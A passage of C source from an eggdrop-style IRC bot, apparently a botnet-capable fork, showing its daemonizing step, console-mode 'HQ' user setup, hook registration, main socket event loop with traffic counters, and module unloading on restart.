  1604. }
  1605. use_stderr = 0; /* Stop writing to stderr now */
  1606. if (backgrd) {
  1607. /* Ok, try to disassociate from controlling terminal (finger cross) */
  1608. #if HAVE_SETPGID && !defined(CYGWIN_HACKS)
  1609. setpgid(0, 0);
  1610. #endif
  1611. /* Tcl wants the stdin, stdout and stderr file handles kept open. */
  1612. freopen("/dev/null", "r", stdin);
  1613. freopen("/dev/null", "w", stdout);
  1614. freopen("/dev/null", "w", stderr);
  1615. #ifdef CYGWIN_HACKS
  1616. FreeConsole();
  1617. #endif /* CYGWIN_HACKS */
  1618. }
  1619. /* Terminal emulating dcc chat */
  1620. if (!backgrd && term_z) {
  1621. int n = new_dcc(&DCC_CHAT, sizeof(struct chat_info));
  1622. dcc[n].addr = iptolong(getmyip());
  1623. dcc[n].sock = STDOUT;
  1624. dcc[n].timeval = now;
  1625. dcc[n].u.chat->con_flags = conmask;
  1626. dcc[n].u.chat->strip_flags = STRIP_ALL;
  1627. dcc[n].status = STAT_ECHO;
  1628. strcpy(dcc[n].nick, "HQ");
  1629. strcpy(dcc[n].host, "llama@console");
  1630. dcc[n].user = get_user_by_handle(userlist, "HQ");
  1631. /* Make sure there's an innocuous HQ user if needed */
  1632. if (!dcc[n].user) {
  1633. userlist = adduser(userlist, "HQ", "none", "-", USER_ADMIN | USER_OWNER | USER_MASTER | USER_VOICE | USER_OP | USER_PARTY | USER_CHUBA | USER_HUBA);
  1634. dcc[n].user = get_user_by_handle(userlist, "HQ");
  1635. }
  1636. setsock(STDOUT, 0); /* Entry in net table */
  1637. dprintf(n, "\n### ENTERING DCC CHAT SIMULATION ###\n\n");
  1638. dcc_chatter(n);
  1639. }
  1640. then = now;
  1641. online_since = now;
  1642. autolink_cycle(NULL); /* Hurry and connect to tandem bots */
  1643. add_hook(HOOK_SECONDLY, (Function) core_secondly);
  1644. add_hook(HOOK_10SECONDLY, (Function) core_10secondly);
  1645. add_hook(HOOK_MINUTELY, (Function) core_minutely);
  1646. add_hook(HOOK_HOURLY, (Function) core_hourly);
  1647. add_hook(HOOK_REHASH, (Function) event_rehash);
  1648. add_hook(HOOK_PRE_REHASH, (Function) event_prerehash);
  1649. add_hook(HOOK_USERFILE, (Function) event_save);
  1650. #ifdef HUB
  1651. add_hook(HOOK_BACKUP, (Function) backup_userfile);
  1652. #endif /* HUB */
  1653. add_hook(HOOK_DAILY, (Function) event_resettraffic);
  1654. add_hook(HOOK_LOADED, (Function) event_loaded);
  1655. call_hook(HOOK_LOADED);
  1656. debug0("main: entering loop");
  1657. while (1) {
  1658. int socket_cleanup = 0;
  1659. /* Process a single tcl event */
  1660. Tcl_DoOneEvent(TCL_ALL_EVENTS | TCL_DONT_WAIT);
  1661. /* Lets move some of this here, reducing the numer of actual
  1662. * calls to periodic_timers
  1663. */
  1664. #ifdef S_UTCTIME
  1665. now_tmp = time(NULL);
  1666. now = mktime(gmtime(&now_tmp));
  1667. #else
  1668. now = time(NULL);
  1669. #endif /* S_UTCTIME */
  1670. random(); /* Woop, lets really jumble things */
  1671. if (now != then) { /* Once a second */
  1672. call_hook(HOOK_SECONDLY);
  1673. then = now;
  1674. }
  1675. /* Only do this every so often. */
  1676. if (!socket_cleanup) {
  1677. socket_cleanup = 5;
  1678. /* Remove dead dcc entries. */
  1679. dcc_remove_lost();
  1680. /* Check for server or dcc activity. */
  1681. dequeue_sockets();
  1682. } else
  1683. socket_cleanup--;
  1684. /* Free unused structures. */
  1685. garbage_collect();
  1686. xx = sockgets(buf, &i);
  1687. if (xx >= 0) { /* Non-error */
  1688. int idx;
  1689. for (idx = 0; idx < dcc_total; idx++)
  1690. if (dcc[idx].sock == xx) {
  1691. if (dcc[idx].type && dcc[idx].type->activity) {
  1692. /* Traffic stats */
  1693. if (dcc[idx].type->name) {
  1694. if (!strncmp(dcc[idx].type->name, "BOT", 3))
  1695. itraffic_bn_today += strlen(buf) + 1;
  1696. else if (!strcmp(dcc[idx].type->name, "SERVER"))
  1697. itraffic_irc_today += strlen(buf) + 1;
  1698. else if (!strncmp(dcc[idx].type->name, "CHAT", 4))
  1699. itraffic_dcc_today += strlen(buf) + 1;
  1700. else if (!strncmp(dcc[idx].type->name, "FILES", 5))
  1701. itraffic_dcc_today += strlen(buf) + 1;
  1702. else if (!strcmp(dcc[idx].type->name, "SEND"))
  1703. itraffic_trans_today += strlen(buf) + 1;
  1704. else if (!strncmp(dcc[idx].type->name, "GET", 3))
  1705. itraffic_trans_today += strlen(buf) + 1;
  1706. else
  1707. itraffic_unknown_today += strlen(buf) + 1;
  1708. }
  1709. dcc[idx].type->activity(idx, buf, i);
  1710. } else
  1711. putlog(LOG_MISC, "*",
  1712. "!!! untrapped dcc activity: type %s, sock %d",
  1713. dcc[idx].type->name, dcc[idx].sock);
  1714. break;
  1715. }
  1716. } else if (xx == -1) { /* EOF from someone */
  1717. int idx;
  1718. if (i == STDOUT && !backgrd)
  1719. fatal("END OF FILE ON TERMINAL", 0);
  1720. for (idx = 0; idx < dcc_total; idx++)
  1721. if (dcc[idx].sock == i) {
  1722. if (dcc[idx].type && dcc[idx].type->eof)
  1723. dcc[idx].type->eof(idx);
  1724. else {
  1725. putlog(LOG_MISC, "*",
  1726. "*** ATTENTION: DEAD SOCKET (%d) OF TYPE %s UNTRAPPED",
  1727. i, dcc[idx].type ? dcc[idx].type->name : "*UNKNOWN*");
  1728. killsock(i);
  1729. lostdcc(idx);
  1730. }
  1731. idx = dcc_total + 1;
  1732. }
  1733. if (idx == dcc_total) {
  1734. putlog(LOG_MISC, "*",
  1735. "(@) EOF socket %d, not a dcc socket, not anything.", i);
  1736. close(i);
  1737. killsock(i);
  1738. }
  1739. } else if (xx == -2 && errno != EINTR) { /* select() error */
  1740. putlog(LOG_MISC, "*", "* Socket error #%d; recovering.", errno);
  1741. for (i = 0; i < dcc_total; i++) {
  1742. if ((fcntl(dcc[i].sock, F_GETFD, 0) == -1) && (errno = EBADF)) {
  1743. putlog(LOG_MISC, "*",
  1744. "DCC socket %d (type %d, name '%s') expired -- pfft",
  1745. dcc[i].sock, dcc[i].type, dcc[i].nick);
  1746. killsock(dcc[i].sock);
  1747. lostdcc(i);
  1748. i--;
  1749. }
  1750. }
  1751. } else if (xx == -3) {
  1752. call_hook(HOOK_IDLE);
  1753. socket_cleanup = 0; /* If we've been idle, cleanup & flush */
  1754. }
  1755. /* FIXME: do_restart */
  1756. if (do_restart) {
  1757. if (do_restart == -2)
  1758. rehash();
  1759. else {
  1760. /* Unload as many modules as possible */
  1761. int f = 1;
  1762. module_entry *p;
  1763. Function x;
  1764. char xx[256];
  1765. /* oops, I guess we should call this event before tcl is restarted */
  1766. check_tcl_event("prerestart");
  1767. while (f) {
  1768. f = 0;
  1769. for (p = module_list; p != NULL; p = p->next) {
  1770. dependancy *d = dependancy_list;
  1771. int ok = 1;
  1772. while (ok && d) {
  1773. if (d->needed == p)
  1774. ok = 0;
  1775. d = d->next;
  1776. }
  1777. if (ok) {
  1778. strcpy(xx, p->name);
  1779. if (module_unload(xx, botnetnick) == NULL) {
  1780. f = 1;
  1781. break;
  1782. }
  1783. }
  1784. }
  1785. }
  1786. for (f = 0, p = module_list; p; p = p->next) {
  1787. if (!strcmp(p->name, "eggdrop") || !strcmp(p->name, "encryption") ||
  1788. !strcmp(p->name, "uptime"))
  1789. f = 0;
  1790. else
  1791. f = 1;
  1792. }
  1793. if (f)
  1794. /* Should be only 3 modules now - eggdrop, encryption, and uptime */
  1795. putlog(LOG_MISC, "*", MOD_STAGNANT);
  1796. /* flushlogs(); */
  1797. kill_tcl();
  1798. init_tcl(argc, argv);
  1799. /* this resets our modules which we didn't unload (encryption and uptime) */
  1800. for (p = module_list; p; p = p->next) {
  1801. if (p->funcs) {
  1802. x = p->funcs[MODCALL_START];
  1803. x(NULL);
  1804. }
  1805. }
  1806. rehash();
  1807. restart_chons();
  1808. call_hook(HOOK_LOADED);
  1809. }
  1810. do_restart = 0;
  1811. }
  1812. }
  1813. }